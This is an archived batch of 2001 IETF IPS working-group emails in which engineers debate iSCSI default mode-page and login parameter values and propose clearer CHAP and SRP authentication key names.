ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19832 for ; Thu, 20 Sep 2001 15:35:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KIP9p00368 for ips-outgoing; Thu, 20 Sep 2001 14:25:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KIP4P00361 for ; Thu, 20 Sep 2001 14:25:05 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 20:26:23 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B9829@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Robert Snively'" , "Sanjeev Bhagat (TRIPACE/Zoetermeer)" , "'Santosh Rao'" , IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. Date: Thu, 20 Sep 2001 20:26:15 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I would say whatever is a MUST to be known for the protocol to operate correctly must have a default value. But we can divide it in two parts a) default login state parameters for the SCSI device and b) mode pages state of SCSI device. so this makes sure that during logon the protocol will operate correctly with default values and thereafter the initiator can do a mode sense to read the parameters of the device and correspondingly configure itself with the mode parameters of the SCSI LU device. and even if some defaults ghave to be set then EMDP should be 0 because there are still some devices that donot support disconnect-reconnect. Sanjeev -----Original Message----- From: Robert Snively [mailto:rsnively@brocade.com] Sent: Thursday, September 20, 2001 7:48 PM To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. It is true that default mode settings for Mode Pages are usually arranged between buyer and vendor for maximum convenience in the buyer's systems. It is generally true that any setting of a Mode Page will allow the protocol to operate correctly, except a few, notably the first burst size parameter if ImmediateData is set to yes. On the other hand, some of the iSCSI text keyed parameters MUST be known before the protocol will operate correctly. ImmediateData is certainly one of those. As a result, you have two choices: a) Make the negotiation of all such parameters MANDATORY during the login and after any reset that may change them, or; b) Define a default state that will be guaranteed unless and until the parameter has been explicitly changed. Your choice. Bob > -----Original Message----- > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) [mailto:sbhagat@tripace.com] > Sent: Thursday, September 20, 2001 6:59 AM > To: 'Santosh Rao'; IPS Reflector > Subject: RE: iscsi : default iscsi mode page settings. > > > Santosh, > > Where did you find these SCSI Mode page settings? At least I > could not find > it in SAM-2 document? The mode select command is available in > SPI documents > but they are meant for particular SCSI device and not for > iSCSI device? > > Be it whatever the case I would like to ask why the default value of > MaximumBurstSize is 512 units and why is the default value of > FirstBurstSize > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > revisions so setting the default value of FirstBurstSize to > 128 units means > 65536 bytes or 64K Bytes and similarly the value of > Maximumburstsize is 256K > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > Sanjeev > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 20, 2001 2:04 AM > To: IPS Reflector > Subject: iscsi : default iscsi mode page settings. > > > All, > > Speaking on the subject of default settings, some questions on recent > changes to the iscsi mode select pages...... > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > out default > values for the iscsi mode pages. Per my understanding, there are no > defaults for SCSI mode pages, and all the setting are assumed to be > disabled, unless explicitly turned on/enabled through a mode select. > > IOW, the keys in scsi mode pages are defined to be enabling certain > features and the default settings are that these features are > turned off > unless a mode select is explicitly used to enable them. > > However, the iscsi mode pages seems to be using the opposite > policy and > is advertising default settings for mode pages, that too, > agreesive ones > at that! IOW, an initiator implemenation has to explicitly > issue a mode > select to disable/turn_off features rather than issue a mode select to > turn them on. > > Here's a few examples : > > * default MaximumBurstSize : 512 units > * default EMDP : 1 (i.e. modify data pointers is enabled by default > !) > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > solicited > data, unless they explicitly turn it off using mode > select, since, > not > sending solicited data when it has been negotiated > implies a target > may > abort the I/O. > > I suggest that in keeping with the scsi mode pages, NO > default settings > be advertised for any iscsi mode > pages. i.e. all defaults are conservative (set to 0), unless > explicitly > turned on thru a mode select. > > Comments ? > > Regards, > Santosh > > "Mallikarjun C." wrote: > > > Matthew, > > > > I completely agree that the default should be "no"! I pointed this > > out sometime ago myself. Apart from what you point out, the default > > setting for "ImmediateData" seems to be at variance with the > > conservative default for "InitialR2T" ("yes"). > > > > Julian, could you please consider this request? > > > > Regards. > > -- > > Mallikarjun > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > Julian, > > > > > > Appendix D24 (ImmediateData) does not describe the result of > negotiation if > > > the two sides differ. I presume that since the default is "yes", > then only > > > if both sides agree to "no" is immediate data turned off. Please > can this > > > be stated. > > > > > > Additionally, I feel that the default value for > ImmediateData should > be > > > "no". > > > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable > the > > > minimum is selected. > > From owner-ips@ece.cmu.edu Thu Sep 20 15:36:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19862 for ; Thu, 20 Sep 2001 15:36:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KIt7d02556 for ips-outgoing; Thu, 20 Sep 2001 14:55:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KIt6P02552 for ; Thu, 20 Sep 2001 14:55:06 -0400 (EDT) Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191]) by atlrel2.hp.com (Postfix) with ESMTP id F14DA116C for ; Thu, 20 Sep 2001 14:55:01 -0400 (EDT) Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186]) by xatlrelay2.atl.hp.com (Postfix) with ESMTP id 215D21F558 for ; Thu, 20 Sep 2001 14:55:01 -0400 (EDT) Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 14:55:00 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF11D@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. Date: Thu, 20 Sep 2001 14:54:58 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I vote for making the exchange of some text parameters MANDATORY, with no defaults. Marj > -----Original Message----- > From: Robert Snively [mailto:rsnively@Brocade.COM] > Sent: Thursday, September 20, 2001 10:48 AM > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > Reflector > Subject: RE: iscsi : default iscsi mode page settings. > > > It is true that default mode settings for Mode Pages > are usually arranged between buyer and vendor for > maximum convenience in the buyer's systems. It is > generally true that any setting of a Mode Page will > allow the protocol to operate correctly, except a few, > notably the first burst size parameter if > ImmediateData is set to yes. > > On the other hand, some of the iSCSI text keyed > parameters MUST be known before the protocol will > operate correctly. ImmediateData is certainly > one of those. As a result, you have two choices: > > a) Make the negotiation of all such parameters > MANDATORY during the login and after any > reset that may change them, or; > > b) Define a default state that will be guaranteed > unless and until the parameter has been explicitly > changed. > > Your choice. > > Bob > > > -----Original Message----- > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > [mailto:sbhagat@tripace.com] > > Sent: Thursday, September 20, 2001 6:59 AM > > To: 'Santosh Rao'; IPS Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > Santosh, > > > > Where did you find these SCSI Mode page settings? At least I > > could not find > > it in SAM-2 document? The mode select command is available in > > SPI documents > > but they are meant for particular SCSI device and not for > > iSCSI device? > > > > Be it whatever the case I would like to ask why the default value of > > MaximumBurstSize is 512 units and why is the default value of > > FirstBurstSize > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > revisions so setting the default value of FirstBurstSize to > > 128 units means > > 65536 bytes or 64K Bytes and similarly the value of > > Maximumburstsize is 256K > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > Sanjeev > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, September 20, 2001 2:04 AM > > To: IPS Reflector > > Subject: iscsi : default iscsi mode page settings. > > > > > > All, > > > > Speaking on the subject of default settings, some questions > on recent > > changes to the iscsi mode select pages...... > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > out default > > values for the iscsi mode pages. Per my understanding, there are no > > defaults for SCSI mode pages, and all the setting are assumed to be > > disabled, unless explicitly turned on/enabled through a mode select. > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > features and the default settings are that these features are > > turned off > > unless a mode select is explicitly used to enable them. > > > > However, the iscsi mode pages seems to be using the opposite > > policy and > > is advertising default settings for mode pages, that too, > > agreesive ones > > at that! IOW, an initiator implemenation has to explicitly > > issue a mode > > select to disable/turn_off features rather than issue a > mode select to > > turn them on. > > > > Here's a few examples : > > > > * default MaximumBurstSize : 512 units > > * default EMDP : 1 (i.e. modify data pointers is enabled > by default > > !) > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > solicited > > data, unless they explicitly turn it off using mode > > select, since, > > not > > sending solicited data when it has been negotiated > > implies a target > > may > > abort the I/O. > > > > I suggest that in keeping with the scsi mode pages, NO > > default settings > > be advertised for any iscsi mode > > pages. i.e. all defaults are conservative (set to 0), unless > > explicitly > > turned on thru a mode select. > > > > Comments ? > > > > Regards, > > Santosh > > > > "Mallikarjun C." wrote: > > > > > Matthew, > > > > > > I completely agree that the default should be "no"! I > pointed this > > > out sometime ago myself. Apart from what you point out, > the default > > > setting for "ImmediateData" seems to be at variance with the > > > conservative default for "InitialR2T" ("yes"). > > > > > > Julian, could you please consider this request? > > > > > > Regards. > > > -- > > > Mallikarjun > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > Julian, > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > negotiation if > > > > the two sides differ. I presume that since the default is "yes", > > then only > > > > if both sides agree to "no" is immediate data turned > off. Please > > can this > > > > be stated. > > > > > > > > Additionally, I feel that the default value for > > ImmediateData should > > be > > > > "no". > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > Presumable > > the > > > > minimum is selected. > > > > > From owner-ips@ece.cmu.edu Thu Sep 20 15:37:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19877 for ; Thu, 20 Sep 2001 15:37:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KIFuK29673 for ips-outgoing; Thu, 20 Sep 2001 14:15:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KIFqP29661 for ; Thu, 20 Sep 2001 14:15:52 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA196036 for ; Thu, 20 Sep 2001 14:13:21 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8KID3N217564 for ; Thu, 20 Sep 2001 12:13:03 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: U= in Authentication To: ips@ece.cmu.edu Cc: "CONGDON" , PAUL__" From: "John Hufferd" Date: Thu, 20 Sep 2001 11:12:12 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/20/2001 12:13:02 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree with Paul on this Key Name issue. We should not leave our keywords up to a separate organization and process. I can imagine that in the future, we might want to permit a new Authentication routine. It might have Keywords that are duplicates of other, perhaps non security keywords, which are part of the base iSCSI protocol. Though I understand that we can get the parsing done correctly, I see a lot of possible human confusion, and communication problems with the straight insertion of other RFC keywords into iSCSI. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 09/20/2001 10:10:24 AM Sent by: owner-ips@ece.cmu.edu To: Ofer Biran/Haifa/IBM@IBMIL, "CONGDON,PAUL (HP-Roseville,ex1)" cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Ofer and Steve, The fact that the keys are authentication method specific is exactly the problem. The difficulty with parsing non-unique keys is that you must tell your parser what context it is operating under. I can conceive of how this can be done, it's not that hard, but it seems like unnecessary complexity. It could get worse if key names overlap outside of authentication phase. I agree that aligning with the names used in the relevant RFCs has some merit. Perhaps we could satisfy both needs by using names such as: Srp-U, Srp-N, Srp-g, Srp-s, Srp-A, Srp-B, Srp-M, Srp-HM Chap-N, Chap-I, Chap-C, Chap-R, Chap-A Paul -----Original Message----- From: Ofer Biran [mailto:BIRAN@il.ibm.com] Sent: Thursday, September 20, 2001 5:28 AM To: CONGDON,PAUL (HP-Roseville,ex1) Cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Paul, The implementers are sent to the relevant RFC for the definition of each authentication method, so the clearest way in my opinion was to use the exact keys as appeared in the RFCs (with a simple statement e.g. - "Where N, g, s, A, B, M, and H(A | M | K) are defined in [RFC2945]" ). I don't think, as Steve doesn't, that there is a real parsing problem since these keys are authentication method's specific (and you know where you are at that point). Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 19/09/2001 20:12:37 Please respond to "CONGDON,PAUL (HP-Roseville,ex1)" Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL, Ofer_Biran/Haifa/IBM , mbakke@cisco.com, jtseng@NishanSystems.com cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication I agree that more clarification regarding how to associate SCSI Names with user identities should be provided. I'm not sure if I agree that it should be possible to omit the names entirely - however. This would provide another optional way to approach the exchange (may provide or may not) which adds complexity to this portion of the code, more test cases, more unnecessary options, etc.. As you've mentioned it may also be different depending upon the authentication method in use. There is certainly room for improvement here. I have a bit of a gripe about the key=value pairs during authentication phase in general. First of all, the key names are not very descriptive, which defeats the purpose of using Text keys in the first place (in my opinion). Secondly and more importantly, there are key values that are not unique and depend upon what authentication method is in progress in order to decode/parse them. For example, A=5 in CHAP for algorithm selection is completely different that A=2345 in SRP. Also N=initiatorName in CHAP is totally different than N=5678 in SRP. It would be much easier if the text command parser didn't have to consider what authentication method was running and that all key values were unique. Thus I propose making the following name changes to CHAP and SRP key values. I'm not too concerned about the exact key names used, just that they are somewhat descriptive and unique. CHAP Key Values Old New --- -------- A ChapAlgorithm I ChapID N ChapUser C ChapChallenge R ChapResponse SRP Key Values Old New --- --- U SrpUser N SrpSafePrime g SrpGenerator s SrpSalt A SrpPubKeyA B SrpPubKeyB M SrpSessionKey HM SrpKeyProof Paul +------------------------------------------+ Paul Congdon HP ProCurve Networking Hewlett Packard Company 8000 Foothills Blvd - M/S 5662 Roseville, CA 95747 phone: 916-785-5753 email: paul_congdon@hp.com +------------------------------------------+ From owner-ips@ece.cmu.edu Thu Sep 20 15:38:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20094 for ; Thu, 20 Sep 2001 15:38:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KIoQj02215 for ips-outgoing; Thu, 20 Sep 2001 14:50:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KIoIP02191 for ; Thu, 20 Sep 2001 14:50:18 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA18866; Thu, 20 Sep 2001 14:47:55 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8KImsN210812; Thu, 20 Sep 2001 12:48:55 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: U= in Authentication To: ips@ece.cmu.edu Cc: "CONGDON, PAUL (HP-Roseville,ex1)" X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Thu, 20 Sep 2001 11:48:04 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/20/2001 12:48:54 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree with Paul on this Key Name issue. We should not leave our keywords up to a separate organization and process. I can imagine that in the future, we might want to permit a new Authentication routine. It might have Keywords that are duplicates of other, perhaps non security keywords, which are part of the base iSCSI protocol. Though I understand that we can get the parsing done correctly, I see a lot of possible human confusion, and communication problems with the straight insertion of other RFC keywords into iSCSI. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 09/20/2001 10:10:24 AM Sent by: owner-ips@ece.cmu.edu To: Ofer Biran/Haifa/IBM@IBMIL, "CONGDON,PAUL (HP-Roseville,ex1)" cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Ofer and Steve, The fact that the keys are authentication method specific is exactly the problem. The difficulty with parsing non-unique keys is that you must tell your parser what context it is operating under. I can conceive of how this can be done, it's not that hard, but it seems like unnecessary complexity. It could get worse if key names overlap outside of authentication phase. I agree that aligning with the names used in the relevant RFCs has some merit. Perhaps we could satisfy both needs by using names such as: Srp-U, Srp-N, Srp-g, Srp-s, Srp-A, Srp-B, Srp-M, Srp-HM Chap-N, Chap-I, Chap-C, Chap-R, Chap-A Paul -----Original Message----- From: Ofer Biran [mailto:BIRAN@il.ibm.com] Sent: Thursday, September 20, 2001 5:28 AM To: CONGDON,PAUL (HP-Roseville,ex1) Cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Paul, The implementers are sent to the relevant RFC for the definition of each authentication method, so the clearest way in my opinion was to use the exact keys as appeared in the RFCs (with a simple statement e.g. - "Where N, g, s, A, B, M, and H(A | M | K) are defined in [RFC2945]" ). I don't think, as Steve doesn't, that there is a real parsing problem since these keys are authentication method's specific (and you know where you are at that point). Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 19/09/2001 20:12:37 Please respond to "CONGDON,PAUL (HP-Roseville,ex1)" Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL, Ofer_Biran/Haifa/IBM , mbakke@cisco.com, jtseng@NishanSystems.com cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication I agree that more clarification regarding how to associate SCSI Names with user identities should be provided. I'm not sure if I agree that it should be possible to omit the names entirely - however. This would provide another optional way to approach the exchange (may provide or may not) which adds complexity to this portion of the code, more test cases, more unnecessary options, etc.. As you've mentioned it may also be different depending upon the authentication method in use. There is certainly room for improvement here. I have a bit of a gripe about the key=value pairs during authentication phase in general. First of all, the key names are not very descriptive, which defeats the purpose of using Text keys in the first place (in my opinion). Secondly and more importantly, there are key values that are not unique and depend upon what authentication method is in progress in order to decode/parse them. For example, A=5 in CHAP for algorithm selection is completely different that A=2345 in SRP. Also N=initiatorName in CHAP is totally different than N=5678 in SRP. It would be much easier if the text command parser didn't have to consider what authentication method was running and that all key values were unique. Thus I propose making the following name changes to CHAP and SRP key values. I'm not too concerned about the exact key names used, just that they are somewhat descriptive and unique. CHAP Key Values Old New --- -------- A ChapAlgorithm I ChapID N ChapUser C ChapChallenge R ChapResponse SRP Key Values Old New --- --- U SrpUser N SrpSafePrime g SrpGenerator s SrpSalt A SrpPubKeyA B SrpPubKeyB M SrpSessionKey HM SrpKeyProof Paul +------------------------------------------+ Paul Congdon HP ProCurve Networking Hewlett Packard Company 8000 Foothills Blvd - M/S 5662 Roseville, CA 95747 phone: 916-785-5753 email: paul_congdon@hp.com +------------------------------------------+ From owner-ips@ece.cmu.edu Thu Sep 20 15:44:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21590 for ; Thu, 20 Sep 2001 15:44:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KJ5Gu03288 for ips-outgoing; Thu, 20 Sep 2001 15:05:16 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KJ5EP03282 for ; Thu, 20 Sep 2001 15:05:14 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id PAA24200; Thu, 20 Sep 2001 15:05:00 -0400 (EDT) Message-ID: <3BAA3DC4.470D2223@cisco.com> Date: Thu, 20 Sep 2001 14:04:36 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: John Hufferd CC: ietf-ips Subject: Re: iSCSI: U= in Authentication References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, > I just think it would be useful and simpler, to include in our > documentation a statement that says that the Default for U= or N > = etc., if not entered, is the iSCSI Initiator Node Name. If an implementation wants to use the Initiator Name for the U= or N= key value, it is certainly free to do so, but I don't think the U= or N= should be allowed to be omitted in the actual authentication exchange. Steve Senum From owner-ips@ece.cmu.edu Thu Sep 20 15:51:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21854 for ; Thu, 20 Sep 2001 15:50:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KIfPf01459 for ips-outgoing; Thu, 20 Sep 2001 14:41:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KHvdP28197 for ; Thu, 20 Sep 2001 13:57:39 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id KAA26754; Thu, 20 Sep 2001 10:47:35 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 10:47:34 -0700 Message-ID: From: Robert Snively To: "'Sanjeev Bhagat (TRIPACE/Zoetermeer)'" , "'Santosh Rao'" , IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. Date: Thu, 20 Sep 2001 10:47:34 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk It is true that default mode settings for Mode Pages are usually arranged between buyer and vendor for maximum convenience in the buyer's systems. It is generally true that any setting of a Mode Page will allow the protocol to operate correctly, except a few, notably the first burst size parameter if ImmediateData is set to yes. On the other hand, some of the iSCSI text keyed parameters MUST be known before the protocol will operate correctly. ImmediateData is certainly one of those. As a result, you have two choices: a) Make the negotiation of all such parameters MANDATORY during the login and after any reset that may change them, or; b) Define a default state that will be guaranteed unless and until the parameter has been explicitly changed. Your choice. Bob > -----Original Message----- > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) [mailto:sbhagat@tripace.com] > Sent: Thursday, September 20, 2001 6:59 AM > To: 'Santosh Rao'; IPS Reflector > Subject: RE: iscsi : default iscsi mode page settings. > > > Santosh, > > Where did you find these SCSI Mode page settings? At least I > could not find > it in SAM-2 document? The mode select command is available in > SPI documents > but they are meant for particular SCSI device and not for > iSCSI device? > > Be it whatever the case I would like to ask why the default value of > MaximumBurstSize is 512 units and why is the default value of > FirstBurstSize > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > revisions so setting the default value of FirstBurstSize to > 128 units means > 65536 bytes or 64K Bytes and similarly the value of > Maximumburstsize is 256K > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > Sanjeev > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 20, 2001 2:04 AM > To: IPS Reflector > Subject: iscsi : default iscsi mode page settings. > > > All, > > Speaking on the subject of default settings, some questions on recent > changes to the iscsi mode select pages...... > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > out default > values for the iscsi mode pages. Per my understanding, there are no > defaults for SCSI mode pages, and all the setting are assumed to be > disabled, unless explicitly turned on/enabled through a mode select. > > IOW, the keys in scsi mode pages are defined to be enabling certain > features and the default settings are that these features are > turned off > unless a mode select is explicitly used to enable them. > > However, the iscsi mode pages seems to be using the opposite > policy and > is advertising default settings for mode pages, that too, > agreesive ones > at that! IOW, an initiator implemenation has to explicitly > issue a mode > select to disable/turn_off features rather than issue a mode select to > turn them on. > > Here's a few examples : > > * default MaximumBurstSize : 512 units > * default EMDP : 1 (i.e. modify data pointers is enabled by default > !) > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > solicited > data, unless they explicitly turn it off using mode > select, since, > not > sending solicited data when it has been negotiated > implies a target > may > abort the I/O. > > I suggest that in keeping with the scsi mode pages, NO > default settings > be advertised for any iscsi mode > pages. i.e. all defaults are conservative (set to 0), unless > explicitly > turned on thru a mode select. > > Comments ? > > Regards, > Santosh > > "Mallikarjun C." wrote: > > > Matthew, > > > > I completely agree that the default should be "no"! I pointed this > > out sometime ago myself. Apart from what you point out, the default > > setting for "ImmediateData" seems to be at variance with the > > conservative default for "InitialR2T" ("yes"). > > > > Julian, could you please consider this request? > > > > Regards. > > -- > > Mallikarjun > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > Julian, > > > > > > Appendix D24 (ImmediateData) does not describe the result of > negotiation if > > > the two sides differ. I presume that since the default is "yes", > then only > > > if both sides agree to "no" is immediate data turned off. Please > can this > > > be stated. > > > > > > Additionally, I feel that the default value for > ImmediateData should > be > > > "no". > > > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable > the > > > minimum is selected. > > From owner-ips@ece.cmu.edu Thu Sep 20 16:15:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22193 for ; Thu, 20 Sep 2001 16:15:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KIn6Q02080 for ips-outgoing; Thu, 20 Sep 2001 14:49:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KIn3P02074 for ; Thu, 20 Sep 2001 14:49:03 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA43132; Thu, 20 Sep 2001 14:46:26 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8KIk4N226762; Thu, 20 Sep 2001 12:46:05 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: U= in Authentication To: "CONGDON,PAUL (HP-Roseville,ex1)" Cc: ietf-ips , "'Steve Senum'" X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" 